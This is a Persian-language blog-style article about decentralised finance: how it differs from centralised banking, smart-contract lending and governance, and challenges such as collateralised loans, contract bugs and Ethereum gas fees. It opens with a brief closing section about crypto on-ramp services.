ماهیت منبع باز و همتا به همتای بلاکچین، فرصت های مالی غیرقابل تصوری را ایجاد می کند. این ویژگی ها همچنین موانعی را در مسیر ساختن آینده بخش مالی در یک صنعت بسیار تحت نظارت ایجاد می کند. مسئولیت پذیری در قلب این مسائل قرار دارد.
سخن نهایی
رمزارز، بلاکچین و دیفای به طور سنتی برای عموم مردم بیگانه بوده و همین امر ورود به این حوزه را سخت می کند. از آنجایی که یادگیری هر چیزی به تنهایی توسط خود فرد دشوار است، اکثر مردم آن را نادیده می گیرند یا به آن بی اعتماد می شوند. اصطلاحات رمزارز زیادی در اطراف وجود دارد. جنبش مالی غیرمتمرکز به همین منظور گسترش یافته است. برای هر یک از خدمات مالی که امروزه از آنها استفاده می کنید، یک جایگزین تمام عیار و باز در نظر بگیرید – پس انداز، وام، معامله، بیمه و موارد دیگر – که برای هر کسی که یک تلفن هوشمند و اتصال به اینترنت در هر نقطه از زمین دارد، قابل دسترسی است.
شرکت هایی مانند Transak و Ramp برای رفع معضل در زمانی وارد عمل می شوند که شخصی می خواهد پول را در قالب رمزارز منتقل کند، اما گیرنده وجه، ارز معمولی مانند استرلینگ یا دلار را ترجیح می دهد. بیت کوین با ارزش ترین رمزارز (از لحاظ ارزش بازار) است که پس از بحران مالی سال 2008 به شهرت رسید.
برخی منشأ آن را به شورش علیه یک سیستم اقتصادی ناکارآمد نسبت می دهند که افراد اجازه حضور در آن را ندارند اما در صورت عدم موفقیت، بر همه افراد تأثیرات مضری می گذارد. آرزوهای جامعه رمزارز حاکی از تمایل به آینده مالی مرفه تر برای همگان است.
آینده دیفای – امور مالی غیر متمرکز چیست و چطور توسعه مییابد؟
احتمالاً در جریان هستید که بازارهای مالی کنونی غالباً از نوع متمرکز هستند؛ یعنی در اختیار نهادهای مالی متمرکز و دولتها هستند. قدرت مدیریت و قانونگذاری جریان پول و عرضه ارزها، سهام، اوراق مشارکت، بدهی، و نرخها در دست چند بانک مرکزی و کشورهای مرتبط با آنها است. این در حالی است که مطابق نظر افراد بسیاری، در آینده دیفای یا بازارهای مالی غیر متمرکز تا حد زیادی این تمرکز را به هم ریخته و بازارهای مالی دنیا را تغییر میدهد.
در حقیقت بانکها و مؤسسات مالی تقریباً نظارت کامل روی پول و ارزش آن دارند و تعیین میکنند چه کسی میتواند یا نمیتواند به خدمات مالی دسترسی داشته باشد. این یعنی امور مالی در دسترس همگان نیست و آنهایی که در داخل این نظام هستند نیز مجبور به حفظ پول خود در بانکها میشوند. برای مثال، در سال 2001، پول کافی برای جمعیت آرژانتین وجود نداشت و مردم آینده امور مالی غیرمتمرکز نمیتوانستند پول خود را از بانک بگیرند. همین اواخر نیز پدیده مشابهی در هنگ کنگ اتفاق افتاده است و این فهرست به همین جا هم ختم نمیشود.
بیت کوین و آلت کوینها تصور مردم از کلمه «پول» را تغییر داد و آینده دیفای حالا در حال به هم ریختن تمام خدمات مالی است که حول پول سنتی یا فیات ایجاد شده است.
دیفای چیست؟
امور مالی غیر متمرکز (Decentralised Finance) که به اختصار به آن دیفای (DeFi) گفته میشود، یک اکوسیستم کامل است که هدف آن دادن دسترسی به خدمات مالی به همه افراد از طریق یک سیستم بدون مرز، بدون مجوز، و بدون سانسور است که بر پایه بلاکچین اتریوم ساخته شده است.
این یعنی آینده دیفای با ارائه راهکارهایی برای موارد استفاده امور مالی سنتی مثل معامله کردن، قرض دادن، قرض گرفتن، پرداخت، و بیمه مشخص میشود. تمام این موارد میتوانند در قراردادهای هوشمند مورد استفاده در اپلیکیشنهای غیر متمرکز (DApp) برای ایجاد یک شبکه جهانی مالی به شکل کد در بیایند.
دیفای به افراد اجازه میدهد که دسترسی و نظارت کامل روی داراییهای خود و همچنین تصمیماتی که هنگام استفاده آینده امور مالی غیرمتمرکز از آنها میگیرند، داشته باشند.
از آنجا که بیشتر کدهای این اپلیکیشنهای غیر متمرکز در قراردادهای هوشمند اتریوم نوشته میشوند، منطق آنها برای هر کسی که بتواند آنها را بخواند قابل فهم است. علاوه بر این، بعضی از جنبههای مالی حکومتی نیز غیر متمرکز شدهاند؛ این به افرادی که یک ارز دیجیتال خاص را نگهداری میکنند و به خودکارسازی بیشتر در این فرآیند امکان میدهند، قدرت تصمیمگیری مناسبی میدهد. به این ترتیب آینده دیفای تا حد زیادی به این تکنولوژیها ارتباط دارد.
در اصل، یک کاربر، ارز دیجیتال خود را در یک قرارداد هوشمند پسانداز میکند، و وقتی کسی آنها را قرض بگیرد، بابت آن سود میگیرد. به زبان ساده، قراردادهای هوشمند قرضکنندهها را به قرضدهندهها وصل و در همین حال سود را بین آنها توزیع میکنند. بعضی از پروتکلها مثل میکردائو (MakerDAO) به دارندگان ارز دیجیتال امکان میدهند تا به بعضی از معیارهای ریسک، مثل نوع وثیقه مورد نیاز، میزان قرض، و کارمزدهای مختلف، رأی بدهند.
چرا دیفای؟
در اصل، دیفای دسترسی به امور مالی را برای هر کسی که به اینترنت دسترسی داشته باشد میسر میکند. امروزه بخش مالی اجازه دسترسی به خدمات را به افرادی که با برخی از معیارها مثل وضعیت مالی، موقعیت جغرافیایی، ارز، درآمد، سن یا تخصص مطابقت ندارد، نمیدهد. این تهدید بزرگی برای رشد اقتصاد جهانی محسوب میشود و به افزایش شکاف بین «داراها و ندارها» کمک میکند.
حالا که پول مقاوم در برابر سانسور به شکل بیت کوین وجود دارد، طبیعی است که خدمات مالی نیز به همان سمت بروند. اما در مورد آینده دیفای، اگرچه چالشها و موانع شناختی هنوز وجود دارند، زمانی خواهد رسید که دیفای همانقدر آشنا خواهد شد که پول امروزی هست. نقطه شروع دیفای به حتم چیزی جز ایجاد پروتکلهای همتا به همتا (P2P) و پیچیده نیست که امور مالی استاندارد را به شکلی که امروزه میشناسیم دستخوش تغییرات شگرف میکند.
جواهری روی تاج طلای بلاکچین؟
دیفای به شکل بالقوه یکی از نگینهای تاج تکنولوژی بلاکچین محسوب میشود؛ چراکه وعده یک نظام مالی باز و همتا به همتا را میدهد که روی ارائه خدمات به افرادی متمرکز است که در غیر این صورت، دسترسی به بازارهای مالی نخواهند داشت.
مطابق گزارش دیفای پالس (DeFi Pulse) که به عنوان استاندارد طلای اطلاعات این صنعت در نظر گرفته میشود، در حدود 2/3 میلیارد دلار تا به حال در پلتفرمهای مختلفی که زیرگروه این بخش مالی را تشکیل میدهند، تزریق شده است.
نیازی به گفتن نیست که با باز شدن فضا برای کاربردهای دیفای، این حوزه به شکل افزایندهای تبدیل به یک موضوع بحث غالب ، هم در بازارهای مالی سنتی و هم محافل ارز دیجیتال، میشود.
چالشها و آینده دیفای
این صنعت همچنان با موارد زیادی درگیر است تا آنها را بهبود ببخشد. یکی از چالشهای اصلی در پلتفرمهای قرضدهی این است که محصولات آنها وثیقهمحور هستند؛ یعنی کاربران نمیتوانند به سرمایهای که ندارند دسترسی پیدا کنند؛ چراکه در حال حاضر هیچ امتیازدهی اعتباری یا وثیقه مشترکی تعریف نشده است. این به معنای کاهش موارد استفاده قرض دادن/قرض گرفتن است.
در میان چالشهای بسیاری که صنعت دیفای با آنها مواجه است، منطقی بودن کامل قراردادهای هوشمند و غیر قابل برگشت بودن تراکنشها روی بلاکچین هم باعث نمیشود که کاربران متقلب از باگهای این پلتفرمها بهرهبرداری نکنند. برای پیشگیری از این مسئله، تعداد فزایندهای از شرکتها وجود دارند که اگر قراردادها به هر دلیلی با عدم توافق مواجه شدند، قراردادهای هوشمندِ دیفای را حسابرسی میکنند و بیمه را ارائه می دهند.
مشکل دیگری که در هنگام استفاده از پلتفرمهای بلاک چین، به خصوص اتریوم، وجود دارد، هزینههای تراکنش، مثل نرخ Gas (پورسانت انتقال اتریوم) است. هر وقت که اتریوم یا هر توکن دیگری از این مجموعه را به یک آدرس منتقل میکنیم، خواه این آدرس یک کیف پول اینترنتی باشد یا یک قرارداد هوشمند، لازم است که نرخ گاز پلتفرم اتریوم را هم پرداخت کنیم. اگرچه این نرخ حتی نزدیک به مبلغی هم نیست که کاربران امور مالی سنتی پرداخت میکنند، اما همچنان موضوعی است که لازم است هنگام فعالیت در این نوع پلتفرمها به آن توجه شود.
به طور کلی پلتفرمهای دیفای و بلاکچین باید بر موانع شناخت دنیای رمزارزها غلبه کنند؛ یعنی عموم کاربران لازم است بفهمند که آنها با نگهداری از کلیدهای خصوصی، مالک اصلی پول خود هستند. این امر باعث درک بهتر نحوه کار پلتفرمهای مبتنی بر بلاک چین میشود و کاری میکند این تجربه برای کاربرانی که بار اول آنها است، کمتر دلهرهآور شود.
سخن پایانی
در مجموع، آینده دیفای روشن است. همین که دیفای بتواند بر موانع طراحی تجربه کاربری و اعتماد عمومی به بلاکچین غلبه کند، خواهیم دید که این پروتکلها تبدیل به بخشی یکپارچه از اینترنت میشوند. درست همانطور که پروتکل تیسیپی/آیپی (TCP/IP) پروتکل ارتباطی شبکه است، دیفای نیز پروتکل امور مالی همتا به همتا میشود. به این ترتیب، پول دیجیتال غیر متمرکز و دسترسی به خدمات مالی سانسور نشده، در آینده تبدیل به استاندارد جدیدی میشود.
دیدگاه شما